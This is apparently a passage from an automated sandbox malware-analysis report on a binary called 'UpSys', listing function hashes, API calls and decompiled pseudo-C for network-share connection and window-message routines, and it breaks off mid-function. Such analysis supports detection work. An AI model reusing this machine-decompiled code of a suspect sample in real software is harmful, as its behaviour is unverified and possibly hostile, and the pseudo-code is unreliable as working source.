                                                                                                                                                                                                        • Opcode Fuzzy Hash: cb13f70e15835dc2877dd0d2affdfb211ee3dff120e39d7b5959ae985f9dd155
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7421CDA25056C0C9E71ACB3DC45874A3FA2E769B0CF288059C3850B2A6CF7AC19FC795
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140054570 Relevance: 9.0, APIs: 6, Instructions: 46COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 372113273-0
                                                                                                                                                                                                        • Opcode ID: 3fbec5fcd28b17047155b2c52fa1d7cccb0a4d8a13cbf5a825cae7ffd9e4f8da
                                                                                                                                                                                                        • Instruction ID: 5b97c9757ab08fda6c03d3b6118b011a6681f025924454c5df3780fa2efc052d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3fbec5fcd28b17047155b2c52fa1d7cccb0a4d8a13cbf5a825cae7ffd9e4f8da
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 58118C3632469183E7268B27B818BA9A760F789BC8F485511EF1603BB0CF79C849CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001D66C Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,000000014001EAED,?,?,?,?,0000000140017EED,?,?,?,0000000140031705), ref: 000000014001D676
                                                                                                                                                                                                        • FlsGetValue.KERNEL32(?,?,?,000000014001EAED,?,?,?,?,0000000140017EED,?,?,?,0000000140031705), ref: 000000014001D684
                                                                                                                                                                                                        • SetLastError.KERNEL32(?,?,?,000000014001EAED,?,?,?,?,0000000140017EED,?,?,?,0000000140031705), ref: 000000014001D6DC
                                                                                                                                                                                                          • Part of subcall function 000000014001D97C: Sleep.KERNEL32(?,?,?,000000014001D69F,?,?,?,000000014001EAED,?,?,?,?,0000000140017EED), ref: 000000014001D9C1
                                                                                                                                                                                                        • FlsSetValue.KERNEL32(?,?,?,000000014001EAED,?,?,?,?,0000000140017EED,?,?,?,0000000140031705), ref: 000000014001D6B0
                                                                                                                                                                                                        • free.LIBCMT ref: 000000014001D6D3
                                                                                                                                                                                                        • GetCurrentThreadId.KERNEL32 ref: 000000014001D6C4
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLastValue_lock$CurrentSleepThreadfree
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3106088686-0
                                                                                                                                                                                                        • Opcode ID: ddede84977200dc6e4ef3a94bb8eb63bc3a367b69f455cb455823c077581da12
                                                                                                                                                                                                        • Instruction ID: f97d6373e441589720c34875e2bd9427fa76c76ddccf7dfb75d6ea18f9bf393f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ddede84977200dc6e4ef3a94bb8eb63bc3a367b69f455cb455823c077581da12
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 62017131201B4183EB479B77A4447A932A2AB4C7E4F084225EB6E0B3F5EE38C4458610
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400433D0 Relevance: 9.0, APIs: 6, Instructions: 34threadwindowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 179993514-0
                                                                                                                                                                                                        • Opcode ID: f226f5daf306d6a2c9b5ccf4deb3e7e407d68bc6071cc5a32ff8863ac6c7ee01
                                                                                                                                                                                                        • Instruction ID: 9366ceb9ecfec7abb64267c3ab79e9dc3acdda2390b7ecb1cdace60bd4b8267f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f226f5daf306d6a2c9b5ccf4deb3e7e407d68bc6071cc5a32ff8863ac6c7ee01
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 02F04FB272071082FB668B77A848B9E6291BB8C7C4F485028BB4E437B4DF7CC4958B04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140041620 Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 839392675-0
                                                                                                                                                                                                        • Opcode ID: 734834340858b7a2fd1892843ae46fe601f5750e10b86d7c61261a0715173a97
                                                                                                                                                                                                        • Instruction ID: 9058bd15beaf79dfff89805dd4e73706f4d24de2c5cf3698a3442b2c018007a4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 734834340858b7a2fd1892843ae46fe601f5750e10b86d7c61261a0715173a97
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 72014B7271079083EB559B26E814B9977A1FB8DBD5F485128AB5E07B24DF38C1498B04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140079040 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 151shareCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 56%
                                                                                                                                                                                                        			E00000001140079040(void* __ecx, void* __edx, void* __esi, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, intOrPtr* __r8, void* __r11, void* _a8, char _a16, char _a32) {
				char _v568;
				void* _v576;
				long long _v592;
				void* _v600;
				intOrPtr _v612;
				void* _v616;
				long long _v624;
				long long _v632;
				long long _v640;
				intOrPtr _v648;
				void* __rsi;
				void* __rbp;
				int _t44;
				int _t51;
				void* _t52;
				void* _t69;
				void* _t77;
				void* _t79;
				void* _t80;
				long long _t81;
				intOrPtr _t83;
				intOrPtr _t90;
				void* _t117;
				void* _t118;
				void* _t121;
				intOrPtr* _t122;
				void* _t124;
				void* _t125;
				void* _t127;
				void* _t134;
				short* _t136;
				short* _t138;
				struct _NETRESOURCE* _t141;
				void* _t144;

				_t134 = __r11;
				_t52 = __ecx;
				_t79 = _t127;
				 *((long long*)(_t79 + 8)) = __rbx;
				_t90 =  *((intOrPtr*)(__rdx + 0x10));
				 *((intOrPtr*)(_t79 + 0x10)) = 0x100;
				_t80 =  *((intOrPtr*)(__rdx + 8));
				_t122 = __rcx;
				r15d = 0;
				_t118 = __rdx;
				r12d = r15d;
				E00000001140062190(_t80,  *_t80);
				E00000001140015220(_t80, _t90, _t80);
				_t125 = _t80;
				_t81 =  *((intOrPtr*)(_t118 + 8));
				E00000001140062190(_t81,  *((intOrPtr*)(_t81 + 8)));
				E00000001140015220(_t81, _t90, _t81);
				if (_t90 - 2 <= 0) goto 0x400790b8;
				r12d = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t118 + 8)) + 0x10)));
				r8d = 3;
				E00000001140017ACC( *((intOrPtr*)(_t118 + 8)), _t125, L"LPT", __r8);
				_v592 = _t81;
				_v576 = _t144;
				asm("sbb ecx, ecx");
				_v612 = _t52 + 2;
				if ( *_t125 == r15w) goto 0x400790f5;
				_v600 = _t125;
				if ( *_t125 != 0x2a) goto 0x400790fa;
				_v600 = _t144;
				if ( *_t125 != 0x2a) goto 0x40079106;
				asm("inc ecx");
				_t69 = _t90 - 4;
				if (_t69 >= 0) goto 0x40079114;
				r9d = 0;
				r8d = 0;
				goto 0x40079142;
				_t83 =  *((intOrPtr*)(_t118 + 8));
				if (_t69 != 0) goto 0x40079128;
				E00000001140062190(_t83,  *((intOrPtr*)(_t83 + 0x18)));
				goto 0x4007910f;
				_t91 =  *((intOrPtr*)(_t83 + 0x20));
				E00000001140062190(_t83,  *((intOrPtr*)(_t83 + 0x18)));
				E00000001140062190(_t83,  *((intOrPtr*)(_t83 + 0x20)));
				_v624 =  &_a32;
				_v632 =  &_a16;
				_v640 =  &_v568;
				_v648 = r12d;
				_t44 = WNetUseConnectionW(_t144, _t141, _t138, _t136);
				_t51 = _t44;
				if (_t44 == r15d) goto 0x40079213;
				E00000001140007A40( *((intOrPtr*)(_t83 + 0x20)), __r8, _t122, _t117);
				r11d = 1;
				 *__r8 = r15d;
				 *((intOrPtr*)(__r8 + 8)) = r11d;
				if (_t51 != _t134 + 4) goto 0x400791a6;
				goto 0x40079201;
				if (_t51 == 0x55) goto 0x400791fc;
				if (_t51 == 0x4b2) goto 0x400791fc;
				if (_t51 != 0x4b0) goto 0x400791c2;
				goto 0x40079201;
				if (_t51 == 0x43) goto 0x40079201;
				r8d = 0;
				if (_t51 != 0x56) goto 0x400791de;
				goto 0x4007920e;
				E0000000114000FCA0(r11d,  *_t122,  *((intOrPtr*)(_t83 + 0x20)),  *((intOrPtr*)( *_t122 + 4)) + _t122, _t122, _t121);
				r8d = 0;
				E0000000114000FC40(_t51,  *_t122, _t91,  *((intOrPtr*)( *_t122 + 4)) + _t122, _t122, _t125);
				goto 0x40079213;
				r8d = 0;
				E0000000114000FCA0(3,  *_t122, _t91,  *((intOrPtr*)( *_t122 + 4)) + _t122, _t122, _t124);
				_t77 =  *_t125 - 0x2a;
				if (_t77 != 0) goto 0x40079239;
				asm("bt dword [esp+0x2c8], 0x8");
				if (_t77 < 0) goto 0x40079234;
				E00000001140012D80(3,  *_t122, _t91, __r8, 0x4009b6c0, _t122, _t83);
				0x40016a60();
				0x40016a60();
				return 0;
			}





































                                                                                                                                                                                                        0x140079040
                                                                                                                                                                                                        0x140079040
                                                                                                                                                                                                        0x140079040
                                                                                                                                                                                                        0x140079043
                                                                                                                                                                                                        0x140079059
                                                                                                                                                                                                        0x14007905d
                                                                                                                                                                                                        0x140079064
                                                                                                                                                                                                        0x140079068
                                                                                                                                                                                                        0x14007906e
                                                                                                                                                                                                        0x140079074
                                                                                                                                                                                                        0x140079077
                                                                                                                                                                                                        0x14007907a
                                                                                                                                                                                                        0x140079082
                                                                                                                                                                                                        0x140079087
                                                                                                                                                                                                        0x14007908a
                                                                                                                                                                                                        0x140079092
                                                                                                                                                                                                        0x14007909a
                                                                                                                                                                                                        0x1400790a6
                                                                                                                                                                                                        0x1400790b5
                                                                                                                                                                                                        0x1400790bf
                                                                                                                                                                                                        0x1400790c8
                                                                                                                                                                                                        0x1400790cd
                                                                                                                                                                                                        0x1400790d2
                                                                                                                                                                                                        0x1400790d9
                                                                                                                                                                                                        0x1400790de
                                                                                                                                                                                                        0x1400790e7
                                                                                                                                                                                                        0x1400790ee
                                                                                                                                                                                                        0x1400790f3
                                                                                                                                                                                                        0x1400790f5
                                                                                                                                                                                                        0x1400790ff
                                                                                                                                                                                                        0x140079101
                                                                                                                                                                                                        0x140079106
                                                                                                                                                                                                        0x14007910a
                                                                                                                                                                                                        0x14007910c
                                                                                                                                                                                                        0x14007910f
                                                                                                                                                                                                        0x140079112
                                                                                                                                                                                                        0x140079114
                                                                                                                                                                                                        0x14007911c
                                                                                                                                                                                                        0x14007911e
                                                                                                                                                                                                        0x140079126
                                                                                                                                                                                                        0x140079128
                                                                                                                                                                                                        0x14007912c
                                                                                                                                                                                                        0x140079137
                                                                                                                                                                                                        0x140079151
                                                                                                                                                                                                        0x14007915e
                                                                                                                                                                                                        0x140079168
                                                                                                                                                                                                        0x14007916d
                                                                                                                                                                                                        0x140079172
                                                                                                                                                                                                        0x140079177
                                                                                                                                                                                                        0x14007917c
                                                                                                                                                                                                        0x140079185
                                                                                                                                                                                                        0x14007918a
                                                                                                                                                                                                        0x140079190
                                                                                                                                                                                                        0x140079198
                                                                                                                                                                                                        0x14007919e
                                                                                                                                                                                                        0x1400791a4
                                                                                                                                                                                                        0x1400791a9
                                                                                                                                                                                                        0x1400791b1
                                                                                                                                                                                                        0x1400791b9
                                                                                                                                                                                                        0x1400791c0
                                                                                                                                                                                                        0x1400791c5
                                                                                                                                                                                                        0x1400791ca
                                                                                                                                                                                                        0x1400791d7
                                                                                                                                                                                                        0x1400791dc
                                                                                                                                                                                                        0x1400791e1
                                                                                                                                                                                                        0x1400791e9
                                                                                                                                                                                                        0x1400791f5
                                                                                                                                                                                                        0x1400791fa
                                                                                                                                                                                                        0x140079204
                                                                                                                                                                                                        0x14007920e
                                                                                                                                                                                                        0x140079213
                                                                                                                                                                                                        0x140079218
                                                                                                                                                                                                        0x14007921a
                                                                                                                                                                                                        0x14007922b
                                                                                                                                                                                                        0x140079234
                                                                                                                                                                                                        0x14007923c
                                                                                                                                                                                                        0x140079244
                                                                                                                                                                                                        0x140079265

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Connection
                                                                                                                                                                                                        • String ID: *$*$*$LPT
                                                                                                                                                                                                        • API String ID: 1722446006-1879499292
                                                                                                                                                                                                        • Opcode ID: 05e65febab9dcb9092ad75b97844f05b4ded0f06cf35b56cd967e727fba1c476
                                                                                                                                                                                                        • Instruction ID: 0602f9bb1f91fde2231a3e6879ce3e50a9347f2a34399d30d171db02f7494c19
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 05e65febab9dcb9092ad75b97844f05b4ded0f06cf35b56cd967e727fba1c476
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1751B03260468092EB26EB17E8957DE73A0F78DBC0F508425FF4A0BBA6DF79C5918740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007C210 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 60%
                                                                                                                                                                                                        			E0000000114007C210(void* __ecx, void* __edx, void* __eflags, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* _a8, void* _a16, void* _a24, void* _a32) {
				char _v56;
				void* _t25;
				void* _t28;
				void* _t45;
				void* _t46;
				void* _t53;
				void* _t60;
				char* _t81;
				char* _t83;
				void* _t89;
				void* _t92;
				void* _t94;
				void* _t97;
				struct HWND__* _t101;
				int _t103;
				struct HWND__* _t106;

				_t97 = __r8;
				_t86 = __rdi;
				_t62 = __rbx;
				_t53 = __eflags;
				_t46 = __edx;
				_t45 = __ecx;
				_t60 = _t94;
				 *((long long*)(_t60 + 8)) = __rbx;
				 *((long long*)(_t60 + 0x10)) = __rbp;
				 *((long long*)(_t60 + 0x18)) = __rsi;
				 *((long long*)(_t60 + 0x20)) = __rdi;
				_t92 = __rdx;
				_t89 = __rcx;
				E00000001140001D30(_t60, __rbx, _t60 - 0x38, L"ComboBox");
				_t81 =  &_v56;
				r8d = 0;
				_t25 = E0000000114007B790(_t45, _t46, _t53, _t60, _t62, _t89, _t81, _t89, _t92, _t97);
				E00000001140002610(_t25, _t62,  &_v56);
				if (_t25 == dil) goto 0x4007c274;
				_t9 = _t81 + 1; // 0x148
				r12d = _t9;
				goto 0x4007c2b6;
				E00000001140001D30(_t60, _t62,  &_v56, L"ListBox");
				_t83 =  &_v56;
				r8d = 0;
				_t28 = E0000000114007B790(_t45, 0x147, _t25 - dil, _t60, _t62, _t89, _t83, _t89, _t92, _t97);
				E00000001140002610(_t28, _t62,  &_v56);
				if (_t28 == dil) goto 0x4007c345;
				_t14 = _t83 + 1; // 0x189
				r12d = _t14;
				r9d = 0;
				r8d = 0;
				if (SendMessageW(_t106, _t103) == r14d) goto 0x4007c345;
				r9d = 0;
				if (SendMessageW(_t101, ??, ??) == r14d) goto 0x4007c345;
				_t61 =  <  ? _t106 | 0xffffffff : _t60;
				E00000001140016ED8( <  ? _t106 | 0xffffffff : _t60,  <  ? _t106 | 0xffffffff : _t60);
				if (SendMessageW(??, ??, ??, ??) != r14d) goto 0x4007c32d;
				E000000011400107E0( <  ? _t106 | 0xffffffff : _t60, _t92, 0x4009b6c0, __rdi);
				goto 0x4007c338;
				E000000011400107E0(_t61, _t92, _t61, _t86);
				dil = 1;
				0x40016a60();
				goto 0x4007c347;
				return 0;
			}



















                                                                                                                                                                                                        0x14007c210
                                                                                                                                                                                                        0x14007c210
                                                                                                                                                                                                        0x14007c210
                                                                                                                                                                                                        0x14007c210
                                                                                                                                                                                                        0x14007c210
                                                                                                                                                                                                        0x14007c210
                                                                                                                                                                                                        0x14007c210
                                                                                                                                                                                                        0x14007c213
                                                                                                                                                                                                        0x14007c217
                                                                                                                                                                                                        0x14007c21b
                                                                                                                                                                                                        0x14007c21f
                                                                                                                                                                                                        0x14007c22d
                                                                                                                                                                                                        0x14007c230
                                                                                                                                                                                                        0x14007c23e
                                                                                                                                                                                                        0x14007c243
                                                                                                                                                                                                        0x14007c248
                                                                                                                                                                                                        0x14007c24e
                                                                                                                                                                                                        0x14007c25a
                                                                                                                                                                                                        0x14007c264
                                                                                                                                                                                                        0x14007c26e
                                                                                                                                                                                                        0x14007c26e
                                                                                                                                                                                                        0x14007c272
                                                                                                                                                                                                        0x14007c280
                                                                                                                                                                                                        0x14007c285
                                                                                                                                                                                                        0x14007c28a
                                                                                                                                                                                                        0x14007c290
                                                                                                                                                                                                        0x14007c29c
                                                                                                                                                                                                        0x14007c2a4
                                                                                                                                                                                                        0x14007c2b2
                                                                                                                                                                                                        0x14007c2b2
                                                                                                                                                                                                        0x14007c2b9
                                                                                                                                                                                                        0x14007c2bc
                                                                                                                                                                                                        0x14007c2cc
                                                                                                                                                                                                        0x14007c2d4
                                                                                                                                                                                                        0x14007c2e5
                                                                                                                                                                                                        0x14007c2f6
                                                                                                                                                                                                        0x14007c2fd
                                                                                                                                                                                                        0x14007c31d
                                                                                                                                                                                                        0x14007c326
                                                                                                                                                                                                        0x14007c32b
                                                                                                                                                                                                        0x14007c330
                                                                                                                                                                                                        0x14007c335
                                                                                                                                                                                                        0x14007c33b
                                                                                                                                                                                                        0x14007c343
                                                                                                                                                                                                        0x14007c365

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 3850602802-1403004172
                                                                                                                                                                                                        • Opcode ID: 5f03c8e1146335adf05fcc35ec43322d28e9f4b9d4ebde8fad291e6bfbf7156a
                                                                                                                                                                                                        • Instruction ID: 757b624e6a583c397412545e3e87a38dc20d588c9fdf0fc44c069006b89b9421
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5f03c8e1146335adf05fcc35ec43322d28e9f4b9d4ebde8fad291e6bfbf7156a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4131B072314A8082EA26DF16E841BDE6361F78DBC4F844216FF89077A2CE3CD646CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400740C0 Relevance: 7.7, APIs: 5, Instructions: 208windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 42%
                                                                                                                                                                                                        			E000000011400740C0(signed int __edx, long long __rbx, long long __rsi, void* __r11) {
				signed int _t54;
				void* _t57;
				int _t58;
				signed char _t64;
				signed int _t66;
				signed int _t68;
				void* _t74;
				signed int _t75;
				void* _t90;
				void* _t92;
				void* _t111;
				void* _t120;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t123;
				intOrPtr _t126;
				intOrPtr _t143;
				signed long long _t146;
				struct HWND__* _t152;
				long long _t156;
				intOrPtr* _t157;
				void* _t159;
				void* _t160;
				intOrPtr _t172;
				struct HWND__* _t176;
				struct HWND__* _t178;
				int _t180;
				struct HWND__* _t182;

				_t120 = _t159;
				 *((long long*)(_t120 + 8)) = __rbx;
				 *((long long*)(_t120 + 0x10)) = _t156;
				 *((long long*)(_t120 + 0x18)) = __rsi;
				_t160 = _t159 - 0x40;
				_t74 = r8d;
				_t75 = __edx;
				if (E0000000114004E0B0(__edx, 0x400c6a00, _t120 + 0x20, _t120 - 0x38, __r11) != 0) goto 0x40074100;
				goto 0x400743ee;
				_t146 =  *((intOrPtr*)(_t160 + 0x30));
				_t121 =  *0x400c6aa0; // 0x0
				_t122 =  *0x400c6ac8; // 0x3264820
				_t126 =  *((intOrPtr*)( *((intOrPtr*)(_t121 +  *(_t160 + 0x88) * 8))));
				 *(_t160 + 0x88) = _t146;
				_t157 =  *((intOrPtr*)( *((intOrPtr*)(_t122 + _t146 * 8))));
				r12b =  *(_t157 + 0xf4);
				if (_t74 != 6) goto 0x40074146;
				if (r12b == 0x18) goto 0x4007416f;
				if (_t74 != 4) goto 0x40074151;
				if (r12b == 1) goto 0x4007416f;
				if (_t74 != 3) goto 0x4007415b;
				if (r12b == 0) goto 0x4007416f;
				if (_t74 != 0x100) goto 0x4007418e;
				if (r12b == 2) goto 0x4007416f;
				if (r12b != 3) goto 0x4007418e;
